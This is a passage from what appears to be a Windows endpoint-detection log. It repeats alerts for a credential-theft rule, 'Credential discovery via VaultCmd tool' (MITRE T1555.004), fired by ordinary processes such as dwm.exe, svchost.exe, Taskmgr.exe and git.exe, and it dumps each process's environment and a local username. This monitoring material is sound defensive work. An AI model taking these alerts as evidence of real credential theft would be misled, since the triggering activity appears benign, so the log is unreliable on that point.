windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:15+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4230229 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:38.135295 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:15+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4230440 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:38.2022985 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:15+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4231156 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:38.4191102 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:15+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4231445 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:38.5357351 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: subtechnique.name: Windows Credential Manager, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, technique.id: T1555, technique.name: Credentials from Password Stores + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:15+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4232476 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 5 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:38.8021253 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:50:51+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5146168 + Pid: 5056 + Tid: 17272 + Type: MapViewFile + CPU: 6 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:50:50.5675654 +0100 CET + Params: file_key➜ ffffa88aef754260, offset➜ 0, pid➜ 5056, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 1ef9f710000, view_size➜ 24576 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, technique.id: T1555, tactic.name: Credential Access + + Pid: 5056 + Ppid: 756 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s LanmanServer + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s LanmanServer] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:50:53+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5149288 + Pid: 5204 + Tid: 17124 + Type: MapViewFile + CPU: 4 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:50:53.1918549 +0100 CET + Params: file_key➜ ffffa88b193ad000, offset➜ 0, pid➜ 5204, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 2b604c00000, view_size➜ 20975616 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, technique.id: T1555 + + Pid: 5204 + Ppid: 7364 + Name: Taskmgr.exe + Cmdline: "C:\WINDOWS\system32\taskmgr.exe" /7 + Exe: C:\WINDOWS\system32\taskmgr.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\taskmgr.exe" /7] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:51:01+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5163093 + Pid: 5136 + Tid: 9588 + Type: MapViewFile + CPU: 6 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:50:59.7135975 +0100 CET + Params: file_key➜ ffffa88aef3e0130, offset➜ 0, pid➜ 5136, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 840000, view_size➜ 16384 + Metadata: tactic.id: TA0006, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 5136 + Ppid: 11924 + Name: git.exe + Parent name: git.exe + Cmdline: git.exe status -z -uall + Parent cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Exe: C:\Program Files\Git\mingw64\bin\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git.exe status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T15:51:01+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5163128 + Pid: 5136 + Tid: 9588 + Type: MapViewFile + CPU: 6 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:50:59.7150026 +0100 CET + Params: file_key➜ ffffa88b35bb3c70, offset➜ 0, pid➜ 5136, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 850000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + 